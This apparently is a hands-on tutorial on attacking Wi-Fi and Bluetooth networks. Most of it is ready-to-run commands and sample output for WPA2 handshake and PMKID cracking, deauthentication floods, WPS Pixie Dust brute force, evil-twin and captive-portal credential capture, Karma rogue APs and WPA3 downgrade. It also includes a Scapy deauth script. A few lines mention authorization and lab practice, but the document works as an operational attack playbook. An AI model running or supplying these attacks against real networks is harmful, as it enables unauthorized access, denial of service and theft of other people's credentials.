Wireless Network Attacks

sudo apt install aircrack-ng hashcat hcxdumptool hcxpcapngtool reaver
# For hashcat GPU support, also install your GPU drivers (nvidia-driver-XXX for NVIDIA)

⚡ Quick Start

Want to crack a WPA2 network? Here's the fastest path (with proper authorization!). All these tools are part of the aircrack-ng suite — a collection of wireless security tools that work together:

# Step 1: Enable monitor mode (lets your card capture ALL nearby WiFi traffic)
# airmon-ng manages your wireless interface's operating mode
sudo airmon-ng start wlan0

# Step 2: Scan for target network
# airodump-ng passively listens and displays all nearby WiFi networks and clients
sudo airodump-ng wlan0mon

# Step 3: Capture handshake (target a specific network)
# Focus capture on one network's channel and save packets to a file
sudo airodump-ng -c CHANNEL --bssid TARGET_MAC -w capture wlan0mon

# Step 4: Force a client to reconnect (deauth)
# aireplay-ng sends packets that kick a client off WiFi; when it reconnects,
# the handshake (authentication exchange) is captured
sudo aireplay-ng -0 5 -a TARGET_MAC -c CLIENT_MAC wlan0mon

# Step 5: Crack the handshake (try passwords from a wordlist against the capture)
aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt

# Or faster with hashcat (GPU-accelerated password cracking):
hcxpcapngtool capture-01.cap -o hash.hc22000
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

That's the core workflow. Here's each step broken down.

📡 WiFi Fundamentals

Before attacking WiFi, you need to understand the basics of how wireless networks operate.

How Wi-Fi Authentication Actually Works

When you type a WiFi password on your phone and hit connect, here's what actually happens under the hood. Your device and the router perform a 4-way handshake — a four-message exchange where both sides prove they know the password without ever sending it. The WiFi password (called the Pre-Shared Key, or PSK) is combined with the network name (SSID) to create a master key called the PMK (Pairwise Master Key). During the handshake, both sides exchange random numbers and use the PMK to derive session-specific encryption keys. This is why capturing the handshake lets you crack the password offline: you have the random numbers and the encrypted proof, so you can guess passwords and check if they produce the same result.

Why Monitor Mode Matters

Normally, your WiFi card operates in "managed mode" — it only picks up packets addressed to your device and ignores everything else. Think of it like only hearing conversations directed at you in a crowded room. WiFi is a shared radio medium, meaning everyone's traffic is flying through the air around you, but your card filters it out by default. Monitor mode removes that filter: your card captures all WiFi frames in range, from every device on every network. This is essential for wireless attacks because you need to see other people's handshakes, management frames, and data to attack them. Most built-in laptop WiFi cards don't support monitor mode — you need a dedicated USB adapter with a compatible chipset.

802.11 Standards

• 802.11a — 5 GHz, up to 54 Mbps (1999)
• 802.11b — 2.4 GHz, up to 11 Mbps (1999)
• 802.11g — 2.4 GHz, up to 54 Mbps (1999)
• 802.11n — 2.4/5 GHz, up to 600 Mbps (2009) — WiFi 4
• 802.11ac — 5 GHz, up to 6.9 Gbps (2014) — WiFi 5
• 802.11ax — 2.4/5/6 GHz, up to 9.6 Gbps (2021) — WiFi 6

2.4 GHz Band: Channels 1-14 (1-11 in US/Canada). Channels 1, 6, 11 are non-overlapping (use these for scanning). Longer range, more interference. Most wireless attacks focus on 2.4 GHz.

5 GHz Band: More channels, less interference, shorter range. Many older attack tools have limited 5 GHz support.

Key terms:

• SSID — Network name (e.g., "HomeWifi")
• BSSID — MAC address of the access point
• Channel — Radio frequency channel (1-14 for 2.4 GHz)
• RSSI — Signal strength (closer to 0 = stronger; -30 = excellent, -80 = weak)
• Beacon — AP broadcasts its existence (~10 times/second)
• Probe — Client searching for known networks

WiFi Security Protocols

• WEP (1999) — BROKEN. Crackable in minutes regardless of password complexity. Uses RC4 cipher with short IVs (24-bit). aircrack-ng can crack with ~40,000 captured packets.
• WPA (2003) — Replaced WEP, uses TKIP. Deprecated — TKIP has known weaknesses. Still vulnerable to dictionary attacks.
• WPA2 (2004) — Uses AES-CCMP (strong encryption). Standard for most networks today. PSK mode: vulnerable to offline dictionary attacks. Enterprise mode: uses RADIUS/802.1X (harder to attack).
• WPA3 (2018) — Uses SAE (Dragonfly handshake). Forward secrecy, resistance to offline dictionary attacks. Dragonblood vulnerabilities found in 2019. Still relatively uncommon.

Security:  WEP (broken) ◀── WPA (deprecated) ◀── WPA2 (standard) ◀── WPA3 (newest)
Attack:    Minutes         Dictionary             Dictionary            Side-channel only

📻 Monitor Mode Setup

Normally, your WiFi card only receives traffic meant for your device. Monitor mode changes this -- it lets your wireless card capture ALL wireless traffic in range, from every device nearby. This is essential for packet capture (recording network traffic) and injection (sending custom packets). You need a compatible USB WiFi adapter for this; built-in laptop cards almost never work.

# Check your wireless interface
iwconfig
# wlan0     IEEE 802.11  Mode:Managed  Frequency:2.437 GHz
# ↑ "Managed" mode = normal operation

# Check if your adapter supports monitor mode
iw list | grep -A 5 "Supported interface modes"
# Supported interface modes:
#   * IBSS
#   * managed
#   * AP
#   * monitor    ← Required for wireless attacks!
#   * P2P-client

# Method 1: airmon-ng (easiest)
sudo airmon-ng check kill   # Kill interfering processes first!
sudo airmon-ng start wlan0
# Interface renamed to wlan0mon (or similar)
iwconfig wlan0mon
# wlan0mon  IEEE 802.11  Mode:Monitor ← Success!

# Method 2: Manual (if airmon-ng isn't available)
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
iwconfig wlan0
# Mode:Monitor ← Success

# When done, restore managed mode:
sudo airmon-ng stop wlan0mon
# Or manually:
sudo ip link set wlan0 down
sudo iw dev wlan0 set type managed
sudo ip link set wlan0 up
sudo systemctl restart NetworkManager

# Recommended wireless adapters for pentesting:
# Alfa AWUS036ACH — dual-band (2.4/5 GHz), RTL8812AU chipset
# Alfa AWUS036ACM — dual-band, MT7612U chipset
# Alfa AWUS036NHA — 2.4 GHz, AR9271 chipset (old but reliable)
# TP-Link TL-WN722N v1 — 2.4 GHz, AR9271 (v1 only! v2+ don't work)

# Check chipset (matters for driver support)
lsusb | grep -i wireless
# Or:
airmon-ng

💡 Pro Tip: Not all wireless adapters support monitor mode and packet injection. USB adapters with Atheros AR9271 or Realtek RTL8812AU chipsets are the most reliable for Kali Linux. Built-in laptop WiFi cards almost never support injection.

🔍 Network Discovery

Once in monitor mode, scan for nearby wireless networks.

# Scan all channels (2.4 GHz by default)
sudo airodump-ng wlan0mon

# Output:
# BSSID              CH  ENC   CIPHER  AUTH  ESSID
# AA:BB:CC:DD:EE:FF   6  WPA2  CCMP    PSK   TargetWifi
# 11:22:33:44:55:66   1  WPA2  CCMP    PSK   Neighbor_5G
# 77:88:99:AA:BB:CC  11  WEP   WEP          OldRouter
#
# BSSID              STATION            PWR  Rate  Lost  Packets  Probes
# AA:BB:CC:DD:EE:FF  FF:EE:DD:CC:BB:AA  -52  54e-24e  0    150     TargetWifi
# ↑ AP                ↑ Connected client

# Scan 5 GHz band
sudo airodump-ng wlan0mon --band a    # 5 GHz only
sudo airodump-ng wlan0mon --band abg  # 2.4 GHz + 5 GHz

# Filter by specific channel
sudo airodump-ng -c 6 wlan0mon

# Filter by target BSSID
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0mon

# Understanding the output:
# CH      — Channel the AP is operating on
# ENC     — Encryption type (OPN=Open, WEP, WPA, WPA2)
# CIPHER  — Cipher suite (CCMP=AES, TKIP)
# AUTH    — Authentication method (PSK=password, MGT=enterprise/RADIUS)
# PWR     — Signal strength (higher = closer; -30 best, -90 barely visible)
# #Data   — Number of data frames captured
# STATION — MAC of connected client devices
# Probes  — SSIDs that client devices are actively searching for

Hidden Networks

# Hidden SSIDs show as <length: 0> or blank in airodump-ng
# The SSID is revealed when a client connects or probes for it

# Wait for a client to probe:
sudo airodump-ng -c CHANNEL --bssid HIDDEN_AP_BSSID wlan0mon
# When a client connects, the SSID appears

# Force SSID disclosure with deauthentication:
sudo aireplay-ng -0 3 -a HIDDEN_AP_BSSID wlan0mon
# Client reconnects → sends SSID in probe request → captured!

# Or use mdk3/mdk4 for SSID brute forcing
sudo mdk4 wlan0mon p -t HIDDEN_AP_BSSID -f ssid_wordlist.txt

🤝 WPA/WPA2 Handshake Capture

The WPA2 4-way handshake is a sequence of four messages exchanged between a client (like a phone or laptop) and the access point (the WiFi router) when connecting. During this exchange, both sides prove they know the WiFi password without actually sending it — they exchange random numbers and cryptographic proofs derived from the password. Capturing this handshake gives you the cryptographic material needed to try cracking the WiFi password offline on your own computer: you can guess passwords, derive the same cryptographic values, and check if they match what was captured. No more interaction with the network needed.

# The 4-Way Handshake:
# 1. AP → Client: ANonce (AP's random number)
# 2. Client → AP: SNonce + MIC (client proves it knows the password)
# 3. AP → Client: GTK + MIC (AP proves it knows the password)
# 4. Client → AP: ACK
#
# We need messages 1 & 2 (or 2 & 3) to crack the password offline

# Step 1: Start targeted capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# -c 6        → Focus on channel 6 (target's channel)
# --bssid     → Only capture packets from this AP
# -w capture  → Save capture files with prefix "capture"

# Step 2: Wait for a handshake (could take hours)
# OR force one by deauthenticating a client:

# In a NEW terminal:
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c FF:EE:DD:CC:BB:AA wlan0mon
# -0 5     → Send 5 deauthentication frames
# -a       → Target AP's BSSID
# -c       → Target client's MAC (from airodump STATION column)

# The deauth kicks the client off. When it reconnects automatically,
# the 4-way handshake is captured!

# Success indicator in airodump-ng:
# [ WPA handshake: AA:BB:CC:DD:EE:FF ]  ← You got it!

# Step 3: Verify the capture file
aircrack-ng capture-01.cap
# If it shows "1 handshake" → you're good to crack

# Alternative: capture multiple handshakes for reliability
# Sometimes partial captures fail → having multiple increases success chance

💡 Pro Tip: Position yourself physically close to both the AP and the client for best results. Weak signal strength (below -75 dBm) often results in corrupted handshake captures. If the handshake isn't being captured, try deauthing only one client at a time, or deauth the broadcast address (-c FF:FF:FF:FF:FF:FF).

🔓 Cracking with aircrack-ng & hashcat

Cracking with aircrack-ng (CPU)

# Basic dictionary attack
aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt

# Use multiple wordlists
aircrack-ng capture-01.cap -w wordlist1.txt,wordlist2.txt,wordlist3.txt

# Specify the target network (if multiple in capture)
aircrack-ng capture-01.cap -w rockyou.txt -b AA:BB:CC:DD:EE:FF

# Output on success:
#                            KEY FOUND! [ SuperSecret123 ]
#
#  Master Key     : 7C 81 3D 4E 3D 5B 96 D8 ...
#  Transient Key  : 6C E0 C3 47 D0 14 2C 3D ...
#
# ↑ The WiFi password is "SuperSecret123"

# aircrack-ng is CPU-only → relatively slow
# ~2,000-10,000 keys/second on a modern CPU

Cracking with hashcat (GPU -- MUCH faster)

# Convert capture file to hashcat format
# Modern method (recommended):
hcxpcapngtool capture-01.cap -o hash.hc22000

# Legacy method:
# cap2hccapx capture-01.cap hash.hccapx

# Dictionary attack with GPU
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

# hashcat performance (approximate):
# GTX 1080:   ~400,000 keys/second (400 kH/s)
# RTX 3080:   ~1,200,000 keys/second (1.2 MH/s)
# RTX 4090:   ~2,400,000 keys/second (2.4 MH/s)
# ↑ Orders of magnitude faster than aircrack-ng!

# Rule-based attack (modify wordlist entries)
hashcat -m 22000 hash.hc22000 rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Applies transformations: capitalize, add numbers, leet speak, etc.
# "password" → "Password1", "p@ssword", "password123", "PASSWORD", etc.

# Mask/brute force attack
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
# Try all 8-digit numbers (00000000-99999999)
# WPA minimum password is 8 characters

# Common WiFi password patterns:
hashcat -m 22000 hash.hc22000 -a 3 ?u?l?l?l?l?l?d?d  # Word + 2 digits
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d  # 10-digit phone number

# Hybrid attack (wordlist + mask)
hashcat -m 22000 hash.hc22000 -a 6 rockyou.txt ?d?d?d
# Append 3 digits to every wordlist entry

# Check if already cracked
hashcat -m 22000 hash.hc22000 --show

$ sudo 

$ aircrack-ng capture-01.cap 

⚡ PMKID Attack

The PMKID attack (discovered in 2018) is a game-changer because it doesn't require a client to be connected. You capture the PMKID (Pairwise Master Key Identifier -- a value derived from the WiFi password) from the AP's first message. No full 4-way handshake needed, no deauthentication needed. Just send an association request and the AP hands you what you need.

# The PMKID is included in the first message of the 4-way handshake
# PMKID = HMAC-SHA1-128(PMK, "PMK Name" + MAC_AP + MAC_Client)
# We can request this by simply starting an association with the AP

# Method 1: hcxdumptool (recommended)
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1

# Wait 5-10 minutes → tool collects PMKIDs from nearby APs
# You'll see: [FOUND PMKID] messages in the output

# Convert to hashcat format
hcxpcapngtool capture.pcapng -o pmkid.hc22000

# Crack with hashcat (same as handshake cracking)
hashcat -m 22000 pmkid.hc22000 /usr/share/wordlists/rockyou.txt

# Method 2: Target a specific AP
sudo hcxdumptool -i wlan0mon -o capture.pcapng \
  --filterlist_ap=AA:BB:CC:DD:EE:FF --filtermode=2

# Method 3: Using hashcat's hcxtools
# hcxdumptool captures → hcxpcapngtool converts → hashcat cracks

# Advantages of PMKID attack:
# ✓ No client needs to be connected
# ✓ No deauthentication needed (quieter)
# ✓ Only need ONE packet from the AP
# ✓ Works against WPA/WPA2 PSK
# ✗ Doesn't work against all APs (some don't include PMKID)
# ✗ Doesn't work against WPA3 (SAE handshake)

💡 Pro Tip: The PMKID attack is the preferred method for WPA2 cracking because it's faster and more reliable than waiting for a handshake. It works even when no clients are connected. Try this first before resorting to deauthentication attacks.

💀 Deauthentication Attacks

Deauthentication (deauth) frames are a type of WiFi management frame that tells a client "you've been disconnected." The scary part: these frames aren't authenticated or encrypted (even in WPA2). Anyone with a monitor-mode adapter can send them, and the target device will obey — disconnecting from the network. This is why deauth is central to WiFi attacks: when a kicked device automatically reconnects, it performs a fresh 4-way handshake with the router, and since you're listening in monitor mode, you capture that handshake. Without deauthentication, you might wait hours for someone to naturally disconnect and reconnect.

# Deauthenticate a specific client
sudo aireplay-ng -0 10 -a AP_BSSID -c CLIENT_MAC wlan0mon
# -0 10  → Send 10 deauth frames
# -a     → Target access point
# -c     → Target client

# Deauthenticate ALL clients from an AP (broadcast deauth)
sudo aireplay-ng -0 0 -a AP_BSSID wlan0mon
# -0 0   → Continuous deauthentication (runs until Ctrl+C)
# No -c  → Broadcast to all clients

# Using mdk4 for more advanced deauthentication
sudo mdk4 wlan0mon d -B AP_BSSID    # Deauth with blacklist mode
sudo mdk4 wlan0mon d                # Deauth everything in range (chaos!)

# Targeted deauth with Scapy (Python)
from scapy.all import *

# Create deauth frame
dot11 = Dot11(addr1=CLIENT_MAC, addr2=AP_BSSID, addr3=AP_BSSID)
frame = RadioTap()/dot11/Dot11Deauth(reason=7)

# Send it
sendp(frame, iface="wlan0mon", count=100, inter=0.1)

# Use cases for deauthentication:
# 1. Force handshake capture (kick client → reconnect → capture)
# 2. Denial of service (continuous deauth = network unusable)
# 3. Force client to connect to your rogue AP (evil twin)
# 4. Reveal hidden SSIDs (client probes during reconnection)

# 802.11w (Management Frame Protection)
# WPA3 and some WPA2 configurations protect management frames
# Deauth attacks DON'T WORK against 802.11w-protected networks
# Check: iw dev wlan0 info → look for "protected management frames"

👯 Evil Twin Attacks

An evil twin is a fake access point that impersonates a legitimate network (same name, same settings). Clients connect to your AP instead of the real one because your signal is stronger, giving you a man-in-the-middle position (you sit between the victim and the internet, seeing all their traffic).

# Evil Twin attack flow:
# 1. Identify target network (SSID, channel, BSSID)
# 2. Create a fake AP with the same SSID
# 3. Deauthenticate clients from the real AP
# 4. Clients reconnect to your fake AP (stronger signal wins)
# 5. Capture credentials, inject content, or MITM traffic

# Method 1: Using hostapd-wpe (WPA-Enterprise evil twin)
# Create config file:
cat > evil_twin.conf <<EOF
interface=wlan0mon
driver=nl80211
ssid=TargetWifi
channel=6
hw_mode=g
wpa=2
wpa_passphrase=doesntmatter
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
EOF

sudo hostapd evil_twin.conf

# Method 2: Fluxion (automated evil twin framework)
# https://github.com/FluxionNetwork/fluxion
sudo fluxion
# 1. Select target network
# 2. Choose attack type (captive portal, handshake capture)
# 3. Fluxion creates fake AP + captive portal
# 4. Client connects → sees login page → enters WiFi password
# 5. Fluxion captures and verifies the password!

# Method 3: Manual evil twin with captive portal
# Terminal 1: Create AP
sudo hostapd evil_twin.conf

# Terminal 2: Set up DHCP
sudo dnsmasq -C dnsmasq.conf

# Terminal 3: Set up captive portal (nginx/apache)
# Serve a fake login page that captures credentials

# Terminal 4: Deauth clients from real AP
sudo aireplay-ng -0 0 -a REAL_AP_BSSID wlan0mon

# Terminal 5: Monitor captured credentials
tail -f /var/log/captured_creds.log

# WiFi Pumpkin (Python framework for rogue AP attacks)
# https://github.com/P0cL4bs/wifipumpkin3
sudo wifipumpkin3
wp3> set interface wlan0
wp3> set ssid TargetWifi
wp3> set proxy captiveflask
wp3> start

📌 WPS PIN Attacks

WPS (WiFi Protected Setup) was designed to make connecting easier for non-technical users — instead of typing a long WiFi password, you either press a physical button on the router or enter an 8-digit PIN. The problem: the PIN is validated in two halves (the router checks the first 4 digits, then the last 3 + a checksum digit separately), which means instead of 100 million possible combinations (10⁸), there are only about 11,000 (10,000 + 1,000). That's very brute-forceable.

# WPS PIN structure: XXXX + XXX + checksum digit
# First half: 10,000 possibilities (0000-9999)
# Second half: 1,000 possibilities (000-999) + checksum
# Total: ~11,000 attempts instead of 100,000,000

# Check if WPS is enabled
sudo wash -i wlan0mon
# BSSID              Ch  dBm  WPS   Lck  Vendor   ESSID
# AA:BB:CC:DD:EE:FF   6  -45  2.0   No   Realtek  TargetWifi
# ↑ WPS 2.0 enabled, NOT locked → vulnerable!

# Brute force with reaver
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
# -vv → verbose output
# Takes 4-10 hours typically (rate-limited by the AP)

# Speed it up (risky — may lock WPS)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -K 1
# -K 1 → Use Pixie Dust attack (offline, much faster!)

# Pixie Dust attack — extracts PIN from a single exchange
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vv
# Works against many routers with weak random number generators
# Takes seconds instead of hours!

# Using bully (alternative to reaver)
sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -vv
sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -d -v 3  # Pixie Dust with bully

# Once you have the WPS PIN, recover the WPA password:
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p PIN_HERE -vv
# Reaver outputs both the PIN and the WPA passphrase!

# WPS PIN lockout:
# Many modern APs lock WPS after too many failed attempts
# "Lck" column in wash shows if WPS is locked
# Wait 60-300 seconds between attempts to avoid lockout:
sudo reaver -i wlan0mon -b AP_BSSID -d 60 -vv

💡 Pro Tip: Always try the Pixie Dust attack (-K 1) first. It works offline and takes seconds if the AP is vulnerable. If Pixie Dust fails, then fall back to the slower online brute force. Many modern routers from 2018+ have WPS disabled by default or implement rate limiting that makes brute force impractical.

🐉 WPA3 & Dragonblood

WPA3 was designed to fix WPA2's biggest weakness: the fact that you can crack captured handshakes offline. WPA3 uses SAE (Simultaneous Authentication of Equals), also called the Dragonfly handshake -- a more secure key exchange where each password guess requires an online interaction with the router, making offline brute force impossible.

WPA3 improvements: SAE handshake (password-authenticated key exchange), forward secrecy, no offline dictionary attacks, 802.11w mandatory (protected management frames), 192-bit security mode for enterprise.

Dragonblood vulnerabilities (CVE-2019-9494, CVE-2019-9495), discovered by Mathy Vanhoef in 2019:

1. Timing-based side-channel attack — SAE handshake timing varies based on the password. Measuring response times leaks password info, reducing dictionary attack to tractable size.
2. Cache-based side-channel attack — Memory access patterns during handshake leak password info. Requires local code execution on AP or client.
3. Transition mode downgrade — WPA3 networks often support "WPA3 Transition Mode" (WPA2+WPA3). Force clients to connect via WPA2, then attack normally.

Downgrade attack flow:

┌──────────────┐     deauth    ┌──────────────┐     ┌──────────────┐
│ Real AP      │◀──────────────│   Attacker   │     │ Evil Twin    │
│ WPA2 + WPA3  │               │              │────▶│ WPA2 only    │
└──────────────┘               └──────────────┘     └──────┬───────┘
                                                          │
                               ┌──────────────┐           │
                               │   Victim     │───────────┘
                               │ Falls back   │  Connects to WPA2
                               │ to WPA2      │  → Capture handshake
                               └──────────────┘

Check for transition mode with sudo airodump-ng wlan0mon — if you see both WPA2 and WPA3 for the same network, it's vulnerable.

Dragonblood tools: dragonslayer (test SAE implementations), dragondrain (DoS), dragontime (timing attack), dragonforce (offline dictionary recovery using leaked info).

🏢 Enterprise WiFi Attacks

WPA2-Enterprise (also called 802.1X) uses a RADIUS server (a centralized authentication server) instead of a single shared password. Each user logs in with their own username and password, and the connection involves certificate-based authentication. This is what corporations and universities use.

# Enterprise WiFi authentication flow:
# 1. Client → AP: "I want to connect"
# 2. AP → Client: "Authenticate with the RADIUS server"
# 3. Client ← → RADIUS: EAP exchange (various methods)
# 4. RADIUS → AP: "User authenticated" (or denied)
#
# Common EAP methods:
# PEAP (Protected EAP) — username/password in TLS tunnel
# EAP-TLS — mutual certificate authentication (strongest)
# EAP-TTLS — similar to PEAP, different tunnel protocol

# Attack: Evil Twin with hostapd-wpe
# hostapd-wpe (WPE = Wireless Pwnage Edition) captures enterprise credentials

# Install hostapd-wpe
sudo apt install hostapd-wpe

# Configure for target SSID
sudo nano /etc/hostapd-wpe/hostapd-wpe.conf
# Set:
# ssid=CorpWifi
# channel=6
# eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user

# Start the evil twin
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

# Deauth clients from real AP → they connect to yours
# hostapd-wpe captures:
# - Username (cleartext)
# - NTLM hash (crackable!)
# - Challenge/response pairs

# Crack captured NTLM hashes:
# Output from hostapd-wpe:
# username: DOMAIN\jsmith
# challenge: a1b2c3d4e5f6a7b8
# response: 0102030405060708090a0b0c0d0e0f101112131415161718

# Using hashcat:
hashcat -m 5500 captured_hash.txt /usr/share/wordlists/rockyou.txt

# EAP Downgrade Attack:
# If the client supports multiple EAP methods, force a weaker one
# PEAP → EAP-GTC (sends password in cleartext!)
# Configure hostapd-wpe to only offer EAP-GTC
# Some clients will accept it without warning

📡 Rogue Access Points

# A rogue AP is any unauthorized access point on the network
# Used for: MITM, credential capture, network access, phishing

# Quick rogue AP with create_ap
sudo create_ap wlan0 eth0 FreeWifi
# Creates "FreeWifi" open network → NAT through eth0 to the internet
# All traffic passes through you → sniff credentials

# With internet sharing (full MITM):
sudo create_ap wlan0 eth0 FreeWifi --no-virt
# Now set up iptables for traffic interception:
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
# Run mitmproxy/bettercap on port 8080

# Rogue AP + captive portal:
# Force all HTTP traffic to a login page
# Capture credentials before granting internet access
# Tools: WiFi Pumpkin, Wifiphisher, Evilginx2

# Karma/MANA attack:
# Respond to ALL probe requests — pretend to be whatever network clients want
# Client probes for "HomeWifi" → your AP says "I'm HomeWifi!"
# Client probes for "Starbucks" → your AP says "I'm Starbucks!"
# Clients auto-connect to "known" networks without user interaction

# Using hostapd-mana for Karma attacks:
sudo hostapd-mana /path/to/mana.conf
# Captures probe requests and responds to all of them
# Combined with sslstrip → capture HTTPS-downgraded credentials

🔵 Bluetooth Hacking Basics

# Bluetooth scanning
sudo hcitool scan           # Discover nearby Bluetooth devices
sudo hcitool inq            # Inquiry scan (more detail)
sdptool browse XX:XX:XX:XX:XX:XX  # Service discovery

# Bluetooth LE (Low Energy) scanning
sudo hcitool lescan
sudo bettercap -eval "ble.recon on"

# bluetoothctl — interactive Bluetooth management
bluetoothctl
> scan on
> info XX:XX:XX:XX:XX:XX
> pair XX:XX:XX:XX:XX:XX

# Spoofoof — spoof Bluetooth device identity
sudo spooftooph -i hci0 -a TARGET_BDADDR

# BLE (Bluetooth Low Energy) attacks:
# GATTacker — MITM on BLE connections
# BtleJuice — BLE proxy framework
# Ubertooth — dedicated Bluetooth sniffing hardware

# Common Bluetooth attacks:
# 1. BlueBorne (CVE-2017-0785) — RCE without pairing
# 2. KNOB Attack — key negotiation brute force
# 3. BlueSmack — Bluetooth DoS
# 4. BlueSnarfing — unauthorized data access
# 5. BlueJacking — sending unsolicited messages

# Bluetooth LE beacons (iBeacon, Eddystone):
# Often used for indoor positioning, marketing
# Can be cloned/spoofed to redirect users

# Bluetooth security notes:
# Bluetooth Classic: PIN-based pairing (often 0000 or 1234)
# Bluetooth LE: multiple pairing methods (Just Works, Passkey, OOB)
# "Just Works" pairing = NO authentication → MITM trivial

🎯 Practical: Full WPA2 Attack Walkthrough

Here's the complete, step-by-step process for capturing and cracking a WPA2 handshake. Follow along on your own lab network.

Setup

# Requirements:
# - Kali Linux (or any Linux with aircrack-ng suite)
# - USB wireless adapter that supports monitor mode + injection
# - A target WiFi network YOU OWN or have WRITTEN AUTHORIZATION to test!
# - A wordlist (rockyou.txt or custom)

# Verify your adapter
sudo airmon-ng
# PHY     Interface       Driver          Chipset
# phy0    wlan0           ath9k_htc       Atheros AR9271

Step 1: Kill Interfering Processes

sudo airmon-ng check kill
# Found 3 processes that could cause trouble.
# Killing: PID Name
#  1234 wpa_supplicant
#  5678 NetworkManager
#  9012 dhclient

Step 2: Enable Monitor Mode

sudo airmon-ng start wlan0
# Interface wlan0mon is ready for use
iwconfig wlan0mon
# Mode:Monitor ← Confirmed

Step 3: Scan for Target Network

sudo airodump-ng wlan0mon
# Let it run for 30-60 seconds. Note your target:
# BSSID: AA:BB:CC:DD:EE:FF
# Channel: 6
# ESSID: MyHomeWifi
# Encryption: WPA2 CCMP PSK
# Also note connected clients (STATION column)
# Press Ctrl+C to stop

Step 4: Capture the Handshake

# Terminal 1: Start targeted capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon

# Terminal 2: Deauthenticate a client to force reconnection
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c FF:EE:DD:CC:BB:AA wlan0mon

# Watch Terminal 1 for:
# [ WPA handshake: AA:BB:CC:DD:EE:FF ]
# ↑ SUCCESS! Press Ctrl+C to stop capture

# Verify the capture
ls handshake-01.cap
aircrack-ng handshake-01.cap
# 1 handshake detected

Step 5: Crack the Password

# Option A: aircrack-ng (CPU, slower)
aircrack-ng handshake-01.cap -w /usr/share/wordlists/rockyou.txt

# Option B: hashcat (GPU, much faster)
# Convert format:
hcxpcapngtool handshake-01.cap -o hash.hc22000

# Crack:
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

# Option C: Try PMKID first (no client needed)
# If you got a PMKID during capture:
hcxpcapngtool handshake-01.cap -o pmkid.hc22000
hashcat -m 22000 pmkid.hc22000 /usr/share/wordlists/rockyou.txt

# On success:
# KEY FOUND! [ MyWiFiPassword123 ]

Step 6: Connect to the Network

# Restore managed mode
sudo airmon-ng stop wlan0mon
sudo systemctl restart NetworkManager

# Connect with the cracked password
nmcli dev wifi connect "MyHomeWifi" password "MyWiFiPassword123"
# Or use wpa_supplicant manually

🎯 Real-World Methodology

Phase 1: Passive Reconnaissance

1. Survey all nearby networks (don't transmit yet)
2. Identify target SSID, BSSID, channel, encryption
3. Note connected clients and their activity
4. Check for WPS, WPA3, Enterprise auth

Phase 2: Choose Your Attack

WEP?                        → aircrack-ng IV collection (guaranteed crack)
WPA2-PSK + WPS enabled?     → Try Pixie Dust first
WPA2-PSK?                   → PMKID attack (no client needed)
WPA2-PSK + PMKID fails?     → Handshake capture + deauth
WPA2-Enterprise?            → Evil twin with hostapd-wpe
WPA3-only?                  → Check for transition mode downgrade
WPA3 transition?            → Force WPA2 connection, then attack WPA2

Phase 3: Cracking

1. Start with common wordlists (rockyou.txt)
2. Try rule-based attacks (best64.rule, d3ad0ne.rule)
3. Try targeted wordlists (location-specific, language-specific)
4. Try mask attacks for common patterns (8 digits, word + numbers)
5. If nothing works: targeted OSINT → custom wordlist (CeWL on target website)

⚠️ Common Mistakes

❌ Mistake #1: Using an incompatible wireless adapter.
Not all WiFi adapters support monitor mode and packet injection. Internal laptop cards almost never work. Get a dedicated USB adapter with a supported chipset (AR9271 or RTL8812AU). Test with aireplay-ng -9 wlan0mon to verify injection works.

❌ Mistake #2: Forgetting to kill interfering processes.
NetworkManager and wpa_supplicant will fight with aircrack-ng for control of the interface. Always run sudo airmon-ng check kill before starting. Forgetting this causes random disconnections and failed captures.

❌ Mistake #3: Being too far from the target.
Signal strength matters enormously. Below -75 dBm, packet loss increases dramatically. Handshake captures get corrupted, deauth frames don't reach clients, and injection fails silently. Get closer to the AP.

❌ Mistake #4: Using only rockyou.txt.
If the password isn't in your wordlist, no amount of hashcat GPU power will help. WiFi passwords are often router defaults (SerialNumber, ADJECTIVE+NOUN+DIGITS), ISP-specific patterns, or local words. Use targeted wordlists and rules.

❌ Mistake #5: Not trying PMKID first.
The PMKID attack is faster, quieter, and doesn't need a connected client. Always try it before resorting to deauthentication, which is noisier and requires an active client.

❌ Mistake #6: Continuous deauthentication.
Blasting continuous deauth frames (-0 0) is noisy and may alert the network owner. Send 3-5 deauth frames, wait for reconnection, check for handshake. Repeat only if needed.

❌ Mistake #7: Attacking networks you don't own.
Unauthorized wireless attacks are illegal in virtually every jurisdiction. Always get written authorization. Set up your own lab network for practice.

📚 Further Reading

• Nmap Guide -- Scanning the network after gaining access
• Aircrack-ng Official Tutorials -- Step-by-step guides
• Hashcat Wiki -- Password cracking reference
• WPA-SEC -- Online WPA/WPA2 cracking service
• Dragonblood Paper -- WPA3 vulnerability research
• Fluxion -- Automated evil twin framework
• Learning Path -- Where wireless fits in the bigger picture